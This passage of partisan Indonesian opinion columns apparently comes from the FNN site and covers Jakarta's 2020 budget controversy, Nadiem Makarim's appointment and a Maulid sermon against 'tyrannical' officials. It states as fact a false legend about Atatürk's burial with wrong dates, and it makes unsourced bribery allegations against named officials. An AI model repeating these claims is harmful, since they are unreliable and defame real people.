Belajarlah dari Mustafa Kemal Attaturk. Presiden Turki yang berkuasa tahun 1924-1947 itu sudah merasakan penyiksaan di dunia. Dimana jasadnya mantan mantan Presiden Mustafa Kemal Attaturk tidak diterima oleh bumi untuk dikuburkan dalam tanah. Akibatnya, jasadnya hanya ditaruh di atas bukit. Jasad Mustafa ditaruh di atas tumpuan bebatuan, dan kemudian ditutup lagi dengan batu. By M. Naufal Dunggio Jakarta, FNN - Suatu ketika dikala Nabi Muhammad SAW lagi duduk dengan sahabat-sahabatnya, kemudian beliau berkata "aku rindu dengan saudaraku". Para sahabat bertanya, bukankah kami saudaraku. Rasulullah SAW menjawab, “kalian bukan saudaraku, te tapi kalian adalah sahabatku. Saudaraku itu adalah mereka tidak pernah melihatku, tetapi mereka beriman kepadaku. Ini artinya sebelum umat Muhammad SAW itu lahir ke dunia, kita-kita yang ngaku Islam sekarang ini, sudah dirindukan oleh Rasulullah SAW. Bigitulah gambaran betapa cintanya Rasulullah SAW kepada umatnya. Dari 25 Nabi dan Rasul, hanya Nabi Muhammad SAW yang selalu ingin bersama-sama dengan umatnya sampai hari kiamat nanti. Bukan itu saja. Bahkan saat menghadapi sakratul maut sekalipun, Rasulullaah SAW tidak bertanya tentang anaknya. Tidak juga bertanya tentang istrinya, apalagi hartanya. Tidak ada permintaan apa-apa kepada malikat Jibril dan malaikat Izrail yang menjemput nyawanya selain menyebut dan memanggil-manggil umatnya. Lebih dari sekali Rasulullaah SAW dengan menyebut-nyebut ummatii, ummatii, ummatii. Betapa cintanya Nabi Muhammad SAW kepada umatnya. Maka tidaklah berlebihan bila di bulan kelahirnnya ini, kita menyampaikan shawalat kepada Rasulullaah SAW. Allahumma Shallii 'Alaa Muhammad. Sekarang ini ada semacam koor berssama yang menyakitkan dan melukai perasaan bagi umat Islam Indonesia. Padahal umat Islam Indonesia adalah pemegang saham utama kemerdekaan negeri ini. Koor itu memang sengaja diciptakan oleh penguasa negeri. Mereka ramai-ramai berteriak tentang “radikalisme dan anti khilafah”. Dengan sasaran yang dituju adalah umat Islam. Walaupun Kapolri Jendral Idham Azis sudah menegaskan bahwa radikalisme tidak boleh ditujukan pada umat Islam. Sayangnya para pejabat pemerintah yang gila dengan jabatan, masih tetap saja asyik dan masyuk dengan isu radikalisme itu. Karena isu radikalisme masih sexy, sesexy wanita-wanita Pekerja Seks Komersial di Alexis yang sudah ditutup Gubernur Anis Baswedan itu. Para pejabat pemerintah, tolong jangan diterusin upaya-upaya untuk menyiksa hati dan perasaan Umat Islam yang mendirikan negeri ini. Hukumannya nanti sangat berat, baik hukuman di dunia maupun akhirat nanti. Selain itu, umat Islam yang tadinya tidak radikal, bisa berubah menjadi radikal benaran Belajarlah dari Mustafa Kemal Attaturk. Presiden Turki yang berkuasa tahun 1924-1947 itu sudah merasakan penyiksaan di dunia. Dimana jasadnya mantan mantan Presiden Mustafa Kemal Attaturk tidak diterima oleh bumi untuk dikuburkan dalam tanah. Akibatnya, jasadnya hanya ditaruh di atas bukit. Jasad Mustafa ditaruh di atas tumpuan bebatuan, dan kemudian ditutup lagi dengan batu. Jangan juga menganggap remeh-temeh soal Khutbah Jumat yang tidak lagi membaca shalawat. Itu bukan persoalan khilafiyah, tetapi sebuah kesengajaan. Kalau tidak mau dibilang jahil, bodoh dan dungu. Sebab itu bentuk lain dari upaya menghilangkan jejak Nabi SAW dalam kehidupan kaum muslimin. Musuh-musuh Allah bersama kaum munafikun di dalam Islam, rupanya tidak henti-hentinya, satu kali dua puluh empat jam mengintai dan muslimin. Setelah berupaya dengan segala cara untuk dijauhkan dari agamanya. Umat Islam mau dijauhkan dari Allah dan Rasul-Nya. Dengan kekuasaan yang mereka miliki saat ini, memudahkan mereka berbuat apa saja. Kapan saja dan dimana saja bisa mendzalimi umat Islam. Jangan dikira umat Islam akan takut. Salah besar kalau punya anggapan dungu seperti itu. Sebab umat Islam semakin kuencang kalian tekan, maka semakin kuencang juga perlawanannya untuk menghancurkan kekuasaan kalian. Tidak ada dalam sejarah, penguasa yang dzalim kepada Umat Islam, dia bisa hidup dengan tenang sambil berlenggang kangkung. Yang telah terjadi malah sebaliknya. Bagi penguasa yang dzalim, hidup kalian bakal klar dalam merintih kesakitan yang panjang sekali. Anda dan keluarga anda akan merana tersiksa sepanjang hidup kalian. Apalagi jika hobbymu dengan kekuasaan yang di tanganmu, hanya untuk menyakiti umat islam dan agamanya. Bumi bakal muntah dan marah menerima bangkaimu tidur diatas punggungnya. Maka berhentilah memusuhi Umat Islam. Gak bakal kuat dikau melawan Umat. Bakal modar kau dalam keadaan hina dina nanti. Jadilah abdi negara yang baik. Abdi negara Yang membahagiakan rakyatnya. Insya Allah, Allah akan bantu kekuasaanmu. Namun kalau anda ingkar, maka tunggulah ketentuan Allah pada kalian. Hanya kepada Allah jualah kita berserah diri. Selamat memperingati Maulid Nabi Muhammad SAW. Allhumma Shallii 'Alaa Muhammad. Penulis adalah Utazd Kampong

Saefullah Biang Kerok Dibalik Mundurnya Dua Pejabat DKI

Oleh M. Juhariyanto Jakarta, FNN - Cerita lem aibon senilai Rp 82,8 miliar tidaklah berdiri sendiri. Publik hanya tahunya akibat dari viralnya data Kebijakan Umum Anggaran dan Prioritas Plafon Anggaran Sementara (KUA-PPAS) untuk RAPBD DKI Jakarta 2020. Buntutnya dua pejabat teras DKI Jakarta, yaitu Kepala Bappeda Sri Mahendra Satria Irawan dan Kepala Dinas Pariwisata dan Kebudaan Edy Junaedi mengundurkan diri. Media massa kemudian menggoreng informasi lem aibon tersebut. Kedua pejabat teras Pemda DKI lalu dikait-dikaitkan dengan keanehan KUA PPAS RAPBD DKI Jakarta 2020. Karena kedua pejabat tersebut merasa bersalah atas ketidakbecusan penyusunan anggaran di SKPD yang dipimpinnya. Mereka bedua memutuskan untuk mengundurkan Dua bawahan Anies ini memilih mundur dari jabatannya. Hebat dan berkelas keputusan yang dibuat mereka berdua. Kepala Dinas Pariwisata Edy Junaedi, dikabarkan mengundurkan diri karena alokasi angaran Rp 5 miliar untuk menyewa jasa influencer dalam kegiatan promosi pariwisata DKI. Secara kasat mata, dari aspek tanggungjawab jabatan, kekisruhan KUA-PPAS RAPBD DKI Jakarta ini ada pada Sekretaris Daerah (Sekda) Saefullah. Sekda yang diangkat oleh Basuki Tjahaja Purnama itulah biang keroknya. Apalagi dari paparan KUA-PPAS oleh Gubernur Anies Baswedan, yang videonya diunggah di media massa, banyak keganjilan di Dinas Pendidikan, yang juga menjadi tanggungjawab Saefullah selaku Ketua Tim Perancangan Anggaran Daerah (TPAD), Kepala Dinas Pendidikan PLT-nya adalah Saefuloh Hidayat. Tentang mundurnya dua pejabat DKI tersebut, sumber FNN menyatakan, karena adanya tekanan dari Sekda Saefullah. Publik memang sudah sangat faham, bahwa hubungan antara Sekda Saefullah dan Kadisparbud Edy Junaedi memang tidak akur. Pasalnya, Edy Junaedi banyak mengetahui sepak terjang Saieullah di balik kisruh reklamasi teluk Jakarta. Sosok di balik kisruh reklamasi di akhir jabatan Gubernur DKI Djarot Syaiful Hidayat adalah Saefullah yang masih menjabat Sekda. Saifullah masih bercokol, sejak transisi terpilihnya Anies Baswedan-Sandiaga Uno, sampai sekarang. Walau demikian Saefullah sering tidak sejalan dengan Edy Junaedi yang ketika itu Kepala Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu (PMPTSP). Para pengembang reklamasi melalui orang kuat Indonesia, Luhut Binsar Panjaitan memaksa agar Kadis PMPTSP Edy Junaedi harus mengeluarkan izin terkait pulau reklamasi. Yang sangat dibutuhkan adalah terbitnya Izin Mendirikan Bangunan (IMB) lahan di pulau reklamasi. Namun rupanya Edy Junaedi tidak bergeming untuk mengeluarkan IMB. Edy Junaedi beralasan, masih terlalu banyak persyaratan yang belum terpenuhi untuk keluarnya IMB pulau reklamasi. Kalau dipaksakan untuk keluarkan IMB, dipastikan menyalahi peraturan perundangan yang berlaku. Itu sudah terbukti di pengadilan. Sikap Edy Junaidi yang tidak mau mengeluarkan IMB pulau reklamasi ini diketahui oleh hampir semua anak buahnya di Dinas PMPTSP. Pemaksaan dan tekanan agar Dinas PMPTSP keluakan IMB pulau reklamasi dilakukan dengan berbagai cara. Termasuk juga menyiapkan uang lelah atau sogokan, entah berapa besarnya. Dananya diambil dari berbagai jalur. Bahkan satu di antara pimpinan DPRD DKI Jakarta periode sekarang ikut menyarankan kepada Edy Junaedi untuk mengambil uang sogokan yang disiapkan. Edy Junaedi benar-benar dipaksa mengeluarkan IMB pulau reklamasi. Termasuk menggunakan dana yang telah disediakan dari berbagi unsur. Untuk ongkos lelah staf PMPTSP yang bekerja menyiapkan berkas IMB pulau reklamasi. Sayangnya Edy Junaedi menolak ajakan tersebut. Mereka yang berkepentingan dengan izin pulau reklamasi, rupanya tidak tinggal diam menghadapi sikap Edy Junaedi yang menolak uang sogokan. Akibatnya, uang itu dialihkan kepada jajaran Sekda. Targetnya Sekda dan jajarannya yang menyiapkan berkas-berkas perijinan, sampai surat yang tinggal ditandatangani Gubernur Djarot Syafil Hidayat atau cukup Kepala Dinas PMPTSP Edy Junaedi “Kabarnya teman-teman di jajaran Sekda DKI mendapat uang tidak sedikit untuk mengerjakan atau menyiapkan berkas izin pulau reklamasi. Persyaratan izin pulau reklamasi itu disiapkan dan dikerjakan di Sekda. Bukan oleh di Dinas PMPTSP, ” ujar sumber, ASN DKI Jakarta sebelum pelantikan Anies-Sandi. Setelah semua berkas pulau reklamasi siap, giliran Gubernur DKI Djarot tidak mau ambil risiko. Djarot tidak mau tandatangani ijin pulau reklamasi yang sudah disiapkan jajaran Sekda. Sehingga detik-detik menjelang pelantikan Anies-Sandi, Djarot perlu “melarikan” diri ke Labuan Bajo. Djarot rela tidak hadiri serah terima jabatan Gubernur DKI kepada Anies-Sandi untuk menghindari resiko. Akibatnya, orangnya Opung mencari-cari Edy Junaedi. Mereka mencegat Edy di kantornya. Edy selalu menghindar dari kejaran mereka. Edy “diamankan” oleh seorang penolong di sebuah apartemen di Jakarta. Edy juga dizinkan dinas ke luar negeri, sampai dengan Anies-Sandi dilantik. Tarif Jabatan Saefullah yang diperpanjang jabatannya oleh Anies sebagai Sekda selama lima tahun ke depan, rupanya belom cukup. Saufullah bersama staf Urusan Pemerintahan yang berinisial “R”, ASN Pemda DKI Jakarta mulai ramai diperbincangkan terkait adanya jual beli jabatan. Meski sulit dibuktikan, namun asapnya mulai kelihatan, sehingga Saefullah perlu membantahnya. Sekda DKI ini memastikan tidak ada jual beli jabatan di lingkungan Pemprov DKI Jakarta. Dengan posisi sebagai Sekda, Sefullah otomatis adalah Ketua Badan Pertimbangan Jabatan (Baperjab). Saifullah yang paling bertanggung jawab dalam perombakan pejabat di DKI. "Saya jamin, sama sekali tidak ada permainan uang yang berkaitan dengan mutasi jabatan. Jadi jangan fitnah. Kalau ada bukti, silahkan sebutkan saja. Nanti akan kami kejar," kata Saefullah ditemui di Senayan, Jakarta Pusat, Februari lalu. Sebelumnya, Fraksi Partai Kebangkitan Bangsa (PKB) DPRD DKI Jakarta, Hasbiallah Ilyas menyatakan menerima keluhan soal adanya tarif untuk jabatan Lurah. Bukan itu saja. Tarif ini berlaku untuk jabatan lain dalam perombakan pejabat di lingkungan Pemerintah Provinsi DKI Jakarta. "Info di bawah begitu. Berapa besarnya tariff untuk setiap jabatan belom dikehui. Namun banyak keluhan dari para Lurah soal tarif ini," ujar Hasbiallah Ilyas. Selain tarif untuk jabatan lurah, Hasbiallah juga menyebut ada juga tarif untuk jabatan Camat. Copot Saefullah Keganjilan anggaran hasil review internal oleh Gubernur Anies Baswedan dalam video yang berdurasi satu jam enam menit lebih itu, terjadi pada sejumlah anggaran alat tulis kantor. Rincian yang janggal adalah anggaran bolpoin Rp 635 miliar, tinta printer Rp 407,1 miliar , terdiri dari 116 jenis komponen Sedangkan anggaran kertas jenis F4, A4, folio adalah Rp 213,3 miliar. Dari jumlah itu, yang terbanyak jenis kertas F4 senilai Rp 205 miliar. Selian itu. anggaran untuk buku folio Rp 79,1 miliar. Sementara anggaran untuk pita printer adalah Rp 43,2 miliar Pengadaan balliner menghabiskan anggaran Rp 39,7 miliar, dan kalkulator bakal menyita Rp 31,7 miliar. Pembelian penghapus cair Rp 31,6 miliar, rotring Rp 5,9 miliar, dan film image Rp 5,2 miliar. Pengadaan, Ighlighter atau stabillo Rp 3,7 miliar. Sebut saja rotring, pena gambar yang sekarang sudah jarang digunakan karena ada program komputer drawing. Berbeda dengan Partai Solidaritas Indonesia (PSI) yang memviralkan anggaran influencer di Dinas Pariwisata dan Kebudayaan sebesar Rp 5 milyar. Begitu juga dengan anggaran pembangunan jalur sepeda Rp 73,7 miliar di Dinas Perhubuingan. Ada juga anggaran lem aibon Rp 82,8 miliar, bolpoin Rp 124 miliar dan komputer Rp 121 miliar. Ketiga mata anggaran terakhir yang besar-besar ini berada di Dinas Pendidikan DKI Jakarta, yang Plt-nya adalah Saefuloh Hidayat. Sedangkan, terkait dengan dana influencer, Kadisparbud Edy Junaedi menyatakan, anggaran Rp 5 miliar bukan hanya untuk biaya influencer. "Saya luruskan ya. Anggaran itu bukan satu influencer Rp 1 miliar. Sebab di dalamnya itu ada macam-macam. Ada juga belanja event dan biaya publikasi. Kegiatan tersebut sudah dilakukan bertahun-tahun.. Namun, anggaran itu akhirnya dicoret dari rancangan KUA-PPAS 2020 pada awal Oktober lalu, dan dialihkan untuk anggaran balap mobil listrik Formula E 2020, ujar Edy Junaedi. Lepas dari sistem e-budgeting yang memang perlu diperbaiki. Khusus untuk keganjilan KUA-PPAS seperti di atas, seharusnya yang lebih pantas untuk mengundurkan diri Saefullah dari jabatan Sekda. Karena Sekda yang punya tanggungjawab penuh atas penyusunan KUA-PPAS. Apalagi Saefullah adalah penanggungjawab semua SKPD, termasuk Plt Kepala Dinas Pendidikan yang mata anggarannya banyak sekali keanehan dan keganjilan. Keanehan itu patut diduga kemungkinan punya keterkaitan dengan reklamasi dan jual beli jabatan. Bahkan sangat mungkin juga terkait dengan anggota DPRD dari PSI. Anggota dewan yang memviralkan anggatan lem aibon Rp 82,8 milyar. Sangat kasat mata Saefullah bermain dan merajalela. Bila tidak mundur, sebaiknya Anies mencopotnya. (end) Penulis adalah Wartawan Senior

Mendikbud, Kelola Pendidikan dan Gojek Tidaklah Sama!

Oleh Mochamad Toha Jakarta, FNN - Apakah Nadiem Makarim dengan perusahaan GoJek miliknya sudah berhasil mengangkat derajat (baca: pendapatan) para driver GoJek dengan beragam jenis aplikasinya? Saya yakin belum, dan tidak akan pernah bisa, kecuali perusahaannya. Memang, Nadiem telah mampu membawa perusahaannya sebagai satu-satunya wakil dari Indonesia yang masuk menjadi satu diantara 19 perusahaan decacorn dunia, dengan valuasi luar biasa, mencapai USD 10 miliar atau sekitar Rp 140 triliun. Awalnya ketika GoJek muncul banyak driver yang memperoleh pendapatan yang luar biasa. Sehari ada yang bisa mencapai lebih dari Rp 300 ribu. Tapi, dengan banyaknya masyarakat yang bergabung, pendapatan mereka semakin berkurang. “Dulu, 5 tahun lalu, saya sampai berani ambil mobil karena persaingan masih sedikit. Tapi, sekarang satu orang penumpang bisa direbutin 5 orang driver. Sekarang mobilnya ditarik leasing karena sudah gak bisa bayar,” ujar seorang driver. Dulu, untuk satu mobil daring bisa direbutin oleh lima calon penumpang. Tapi, sekarang ini, karena banyaknya persaingan, satu orang penumpang bisa diperebutkan oleh lima pengemudi mobil daring. Begitu pula untuk penumpang ojol sepeda motor. Faktanya, yang kaya itu justru pemilik aplikasi seperti GoJek (baca: Nadiem Makarim). Para pengemudi itu sebenarnya telah membantu memperkaya GoJek. Mereka belum dan tak akan pernah bisa menjadi kaya seperti Nadiem atau karyawan GoJek. Sampai kapan pun para pengemudi GoJek akan tetap menjadi driver yang harus berebutan dengan sesama driver GoJek ditambah aplikasi daring lainnya seperti Grab, Bistar dan lain sebagainya yang mulai marak di bisnis layanan mobil/motor daring. Maka, persaingan semakin ketat. Bisa dipastikan, dengan maraknya bisnis aplikasi semacam ini, akan mengurangi periuk pendapatan para pengemudi juga akhirnya. Apakah valuasi USD 10 miliar (sekitar Rp 140 triliun) itu sudah memakmurkan driver? Untuk ukuran anak muda sekelas Nadiem Makarim, yang mampu membawa GoJek sebagai satu-satunya wakil dari Indonesia yang masuk menjadi satu dari 19 perusahaan decacorn di dunia, dengan valuasi Rp 140 triliun, jelas bukan anak sembarangan. Penunjukkannya sebagai Mendikbud, boleh jadi salah satunya merupakan buah kekesalan Presiden Joko Widodo yang selama 5 tahun memerintah ini, berulang kali meminta agar PT lebih adaptif terhadap disrupsi yang terjadi akibat adanya Revolusi Industri 4.0. “Termasuk membuka prodi atau fakultas yang sesuai dengan perkembangan terkini, misalnya Fakultas Kopi,” begitu komentar Prof. Joni Hermana, mantan Rektor ITS Surabaya, di dalam tulisannya yang beredar di berbagai grup WA belum lama ini. Nadiem Makarim selama ini memang dikenal dekat dengan Presiden Jokowi. Beberapa kali ia mengundang Presiden ke acara GoJek. Saat peluncuran GoViet, nama layanan GoJek di Vietnam, Presiden bahkan hadir langsung bersama dengan sejumlah menteri. Ia juga pernah mendampingi Presiden ke Silicon Valley, AS, Oktober 2015. Tapi, Nadiem tak sendiri, ia menemani Jokowi bersama pentolan startup lokal lain, pendiri Tokopedia Wiliam Tanudjaya, pendiri Traveloka Ferry Unardi, dan pendiri Kaskus Andrew Darwis. Kala itu, Nadiem beralasan bahwa keikutsertaannya adalah ingin mempromosikan Indonesia kepada investor global. “Kami ingin beri tahu bahwa Indonesia adalah pasar potensial untuk investasi startup, bukan cuma India dan China,” kata Nadiem kala itu. Melansir Kompas.com, Rabu (23/10/2019) kini Nadiem tak hanya jadi “juragan” GoJek. Ia menjabat sebagai Mendikbud di Kabinet Indonesia Maju. Dengan jabatan eksekutif tersebut, Nadiem bertanggung jawab untuk membantu meningkatkan SDM. “Kita akan membuat terobosan yang signifikan dalam pengembangan SDM yang menyiapkan SDM siap kerja, siap usaha yang link and match antara pendidikan dan industri ada di wilayah Mas Nadiem,” ucap Jokowi saat memperkenalkan Nadiem sebagai Mendikbud. Pria kelahiran Singapura, 4 April 1984, ini merupakan anak ketiga pasangan Nono Anwar Makarim dan Atika Algadri. Ayah Nadiem adalah mantan wartawan TEMPO yang menjadi pengacara ternama di tanah air. Nadiem tidak lain adalah kemenakan dari Jenderal Purn Zacky Anwar Makarim, orang BAIS. Ibunya, dari marga Algadrie, 'Alawiyyiin, Ba 'Alwi. Walaupun keturunan Arab, mereka di kalangan Arab (Yamani) Indonesia sendiri, dikenal sebagai keluarga Liberal. Istrinya, seorang penganut Katholik bernama Franka Franklin yang dikawininya pada 2014 yang lalu. Dari pernikahannya, mereka mempunyai anak bernama Solara Franklin Makarim yang sudah dibaptis. Konon, mereka menikah campur agama. Ibunya Nadiem, Atika Algadrie itu, adiknya Maher Algadrie. Anak dr. Hamid Algadrie, salah seorang pejuang Indonesia. Tapi, kedua kakak adik itu beda ideologi. Beda mahzab. Makanya mereka tidak akur. Keluarga Atika-Nono Makarim liberalis tulen. Selama ini mereka dikenal sebagai pembela Basuki Tjahaja Purnama alias Ahok dan Jokowi. Sedangkan Maher Islamis. Dia membela Anies Baswedan dan Prabowo Subianto. Maher itu adalah konglomerat yang jadi salah satu pemimpin Grup Kodel, Kongsi Delapan. Yaitu, konglomerasi perusahaan yang didirikan oleh Fahmi Idris, Aburizal Bakrie, Soegeng Sarjadi, Abdul Latief, dan Pontjo Sutowo. Bisnis yang dikelola Kodel Group seperti agrobisnis, perdagangan, perbankan, perminyakan, investasi, plus perhotelan. Hotel The Regent (sekarang Four Seasons Jakarta) adalah milik Kodel. Juga Regent Beverly Whilshire yang di AS itu. Maher ini adalah teman bermain Prabowo sejak kecil. Rumah keluarga mereka bersebelahan. Dan, ayahnya Maher, Hamid Algadrie, adalah teman dekat Soemitro Djojohadikoesoemo, ayahnya Prabowo. Sampai sekarang Maher tetap setia ke Prabowo. Saat pilpres, dia dampingi Prabowo kemana-mana. Lain lagi dengan keluarga ayahnya Nadiem, pasangan Nono Makarim-Atika Algadrie. Di Indonesia, Atika yang penulis itu semazhab dengan Widarti Gunawan, istri Goenawan Muhammad, pemilik Femina Grup. Ditambah dia bersuamikan Nono Makarim yang lawyer papan atas dan pergaulannya internasional. Nadiem besar di keluarga semacam ini. Jadi, keluarga kakak-beradik tersebut sama-sama kaya- raya, tapi terkenal bertolak belakang, seperti halnya antara Megawati Soekarnoputri dengan Rachmawati Soekarnoputri, keduanya putri Bung Karno yang selalu “berseberangan”. Menyimak latar belakang keluarga Nadiem Makarim yang kapitalis liberal itu yang membuat sebagian umat Islam khawatir kalau Mendikbud Nadiem Makarim membawa budaya liberal ke dunia pendidikan Indonesia. Disrupsi Edukasi Mungkin salah satu pertimbangan Presiden Joko Widodo memilih Nadiem Makarim sebagai Mendikbud karena perusahaan decacorn GoJek berhasil dengan valuasi mencapai sekitar Rp 140 triliun. Artinya, ukuran sukses seseorang dihitung secara kapital. Melansir Yuswohady, pencipta teori disrupsi Prof. Clayton Christensen (2014) memberikan prediksi yang membuat dunia tercengang: “50% dari seluruh universitas di AS akan bangkrut dalam 10-15 tahun ke depan.,” tulisnya. Penyebabnya, karena universitas-universitas itu terdisrupsi oleh beragam terobosan inovasi seperti online learning dan MOOCs (Massive Online Open Courses). Prof. Christensen bukan satu-satunya yang bicara betapa mencemaskannya gonjang-ganjing disrupsi yang menerpa dunia pendidikan kita: - Sebanyak 65% anak-anak kita kini memulai sekolah nantinya bakal mendapatkan pekerjaan-pekerjaan yang saat ini belum ada. - Sebanyak 75 juta (42%) pekerjaan manusia akan digantikan robot dan artificial intelligence (AI) pada 2022 (World Economic Forum, 2018). - Sebanyak 60% universitas di seluruh dunia akan menggunakan teknologi virtual reality (VR) pada 2021 untuk menghasilkan lingkungan pembelajaran yang imersif (Gartner, 2018). Peringatan pakar dan lembaga think tank global itu menjadi wake-up call bagi stakeholders pendidikan kita. Bahwa kalau dunia pendidikan dikelola dengan cara-cara yang business as usual (BAU) pada akhirnya akan menjadi obsolet, tak relevan, dan akhirnya melapuk. Celakanya, pendidikan adalah salah-satu institusi yang dikenal paling sulit berubah menghadapi terpaan disrupsi. Tak heran, jika kondisi dan metode pembelajaran hari ini tak jauh berbeda dengan kondisi seabad yang lampau. Menjadi sangat mencemaskan ketika kita menghadapi kenyataan bahwa dunia pendidikan kita diterpa tiga gelombang disrupsi yang membuat sistem yang bertahun-tahun dibangun menjadi usang dan tidak relevan lagi. Dari sisi anak didik, disrupsi datang dari kaum milenial (dan neo-milenial atau generasi Z) yang perilaku belajarnya berbeda sama sekali dengan generasi sebelumnya. Perubahan perilaku ini menuntut perubahan radikal dalam pendekatan pendidikan kita. Anak didik milenial adalah generasi yang highly-mobile, apps-dependent, dan selalu terhubung secara online (“always connected”). Mereka begitu cepat menerima dan berbagi informasi melalui jejaring sosial. Mereka adalah self-learner yang selalu mencari sendiri pengetahuan yang mereka butuhkan melalui YouTube atau Khan Academy. Mereka menolak digurui. Mereka adalah generasi yang sangat melek visual (visually-literate). Oleh karena itu mereka lebih menyukai belajar secara visual (melalui video di YouTube, online games, bahkan menggunakan augmented reality) ketimbang melalui teks (membaca buku) atau mendengar ceramah guru di kelas. Mereka juga sangat melek data (data-literate) sehingga piawai berselancar di Google mengulik, memproses, mengurasi, dan menganalisis informasi ketimbang pasif berkubang di perpustakaan. Itu dilakukan dengan super-cepat melalui 3M: multi-media, multi-platform, dan multi-tasking. Dan mereka lebih nyaman belajar secara kolaboratif dalam proyek riil atau pendekatan peer-to-peer melalui komunitas atau jejaring sosial (menggunakan social learning platform). Bagi mereka peers lebih kredibel ketimbang guru. Dan ingat, mereka lebih suka menggunakan interactive gaming (gamifikasi) untuk belajar, ketimbang suntuk mengerjakan PR. Teknologi pendidikan juga telah berkembang secara eksponensial sehingga berpotensi mendisrupsi sekolah tradisional. Jika disrupsi di sektor pendidikan seperti itu yang dikehendak Nadiem Makarim, pendidikan kita akan mengarah ke kapitalis-liberal. Menciptakan “pemeras” keringat baru masyarakat yang abai pada rasa keadilan! *** Penulis adalah wartawan senior.

Biar Bagaimana Anies Lebih Jago Soal Anggaran

Oleh Hudzaifah Jakarta, FNN - Dua pekan terakhir Partai Solidaritas Indonesia (PSI) getol menyoroti anggaran aneh dalam Anggaran Pendapatan dan Belanja Daerah (APBD) DKI Jakarta untuk tahun 2020. Saking getolnya, sampai-sampai jatuh pada asumsi bahwa Gubernur DKI Jakarta Anies Baswedan terperangkap korupsi atau setidaknya akan melakukan korupsi. Sinyalemen demi sinyalemen, pernyataan di televisi dan media cetak, sampai kiriman bunga pujian kepada PSI. Tampak adanya onani dan serangan politik yang tak bermutu, dengan substansi yang kosong dan modus yang amatiran. Celakanya media mainstream seperti kerbau dicucuk hidung, membebek dan membeo atas arus broken image atas prestasi Anies Baswedan di DKI Jakarta. Tengok saja kritik PSI, mereka sudah mengirim surat kepada Badan Perencanaan dan Pembangunan Daerah (Bappeda) DKI untuk meminta dokumen Kebijakan Umum Anggaran-Plafon Prioritas Anggaran (KUA-PPAS) diunggah di website resmi apbd.jakarta.go.id. Bahkan pihaknya menawarkan untuk membuka dokumen anggaran sampai level komponen. Agar ada transparansi. Penemuan PSI terkait anggaran lem aibon sebesar Rp82,8 miliar dan ballpoint sebesar Rp124 miliar dianggap PSI menjadi hal yang mengkhawatirkan. Soal proses penganggaran DKI, menurut PSI, bukanlah yang pertama kali bagi Anies. Seharusnya ada pemeriksaan yang berjenjang yang dilakukan jajaran Satuan Kerja Perangkat Daerah (SKPD). "Itu sebenarnya agak gawat ya kondisi penganggaran DKI Jakarta saat ini. Polemik lem aibom hanya pemantik saja. Lalu Pak Anies bilang masalah ini karena sistemnya enggak smart. Ini Saya pikir ada proses mengalihkan tanggung jawab. Harusnya ada pemeriksaan berjenjang," tutur Juru Bicara PSI Rian Ernest Tanudjaja. Ia juga menyinggung temuan Forum Indonesia untuk Transparansi Anggaran soal usulan anggaran DKI 2020 yang tidak wajar. Misalnya seperti penganggaran buku folio untuk program wajib belajar sebesar Rp78,8 miliar. Sampai di sini teriakan PSI sepertinya meyakinkan, tapi sesungguhnya seperti pahlawan kesiangan. Paling tidak ada beberapa hal yang perlu disoroti dari laku politik partai ingusan ini memainkan isu. Pertama, beberapa hari sebelum PSI berteriak lantang di ruang publik, Anies di internal sudah memarahi dan meminta menghapus anggaran aneh dimaksud. Bahkan dalam beberapa video penjelasan Anies, bahwa anggaran itu pada gilirannya akan hilang kalau tidak bisa disuguhkan secara wajar dan rasional. Bahkan kejadian ini sudah terjadi hampir setiap tahun dan kritik Anies sangat keras pada SKPD-SKPD. Artinya, teriakan PSI itu bukan sebuah temuan baru, justru Gubernur Anies yang lebih dahulu mengetahui. Tapi membeo atas temuan Anies tapi dalam narasinya seolah-olah Anies yang berniat melakukan korupsi anggaran. Sampai di sini ruang publik sangat paham, sampai-sampai mantan Gubernur Sutiyoso mengeluh atas laku politik karbitan PSI yang sok lantang tapi kopong. Kedua, periodesasi anggaran yang diributkan masih dalam periode dummy APBD. Artinya baik angka maupun nama anggaran masih bisa berubah, bahkan bisa hilang sama sekali. Itu sebabnya periode ini tidak elok untuk dilepas ke ruang publik, karena belum memasuki pembahasan anggaran dan masih menjadi dokumen internal. Setelah memasuki pembahasan anggaran, disitulah PSI dan fraksi lain dipersilakan menyoal, mengkritisi, bahkan memblow-up seluas-luasnya kalau memang ada keanehan. Selah itu dilakukan MoU antara eksekutif dan legislatif atas nama dan besaran anggaran yang akhirnya disepakati. Sampai di sini pun masih ada peluang adanya revisi anggaran yang dinamakan APBD-Perubahan. Dan siklus anggaran seperti ini hal biasa di kalangan politisi DPRD setiap tahunnya. Tapi PSI seolah ingin jadi pahlawan kesiangan dia teriak untuk sesuatu yang sifatnya internal dan dummy di ruang publik. Tentu saja publik kaget, campur bertanya-tanya, apa karena partai ingusan sehingga belum tahu sequences anggaran. Itu sebabnya William Aditya Sarana sebagai peniup peluit pertama bocoran dummy anggaran dilaporkan ke Badan Kehormatan DPRD DKI Jakarta atas keluguan dan kebingungannya soal sequences anggaran. Ketiga, sistem penganggaran elektronik (e-budgeting) yang didesain dimasa Gubernur Basuki Tjahaja Purnama (Ahok) tidak smart. Sistem digital e-budgeting didesain secara smart ini ternyata tidak smart, yakni tidak mampu mendeteksi kesalahan input. "Ini ada problem, sistemnya digital tetapi tidak smart. Kalau smart system, dia bisa melakukan pengecekan dan verifikasi. Dia [sistem] bisa menguji," ujar Anies. Dia menuturkan sistem e-budgeting saat ini memang sudah menerapkan digitalisasi, tetapi masih mengandalkan verifikasi manual. Imbasnya, SKPD harus menurunkan bentuk kegiatan ketika menyusun Rancangan Kegiatan Pemerintah Daerah (RKPD). Seperti diketahui, e-budgeting direncanakan sejak zaman Jokowi menjadi Gubernur DKI Jakarta pada 2013, lewat Peraturan Gubernur (Pergub) No 145 tahun 2013. Sistem dijalankan ketika Ahok menjadi Gubernur DKI dan melakukan pembahasan APBD DKI 2015. Pergub tersebut mengacu kepada Peraturan Pemerintah Nomor 58 Tahun 2005. Kala itu, Ahok sempat berseteru dengan anggota DPRD DKI terkait adanya anggaran tidak jelas atau "siluman". Pasalnya, dua versi APBD-P DKI 2014 sehingga memunculkan kasus korupsi pengadaan uninterruptible power supply (UPS) senilai Rp120 miliar. Keempat, kesalahan input anggaran bukan pertama terjadi, bahkan dimasa Gubernur DKI Joko Widodo dan Wagub Ahok, kesalahan input anggaran mencapai Rp1,8 triliun. Badan Pengelola Keuangan (BPK) Daerah DKI Jakarta pada 2014 menemukan 18.000 mata anggaran ganda. Sebagian anggaran ini dialihkan ke alokasi anggaran lain. Potensi kebocoran APBD DKI Jakarta saat itu mencapai Rp1,8 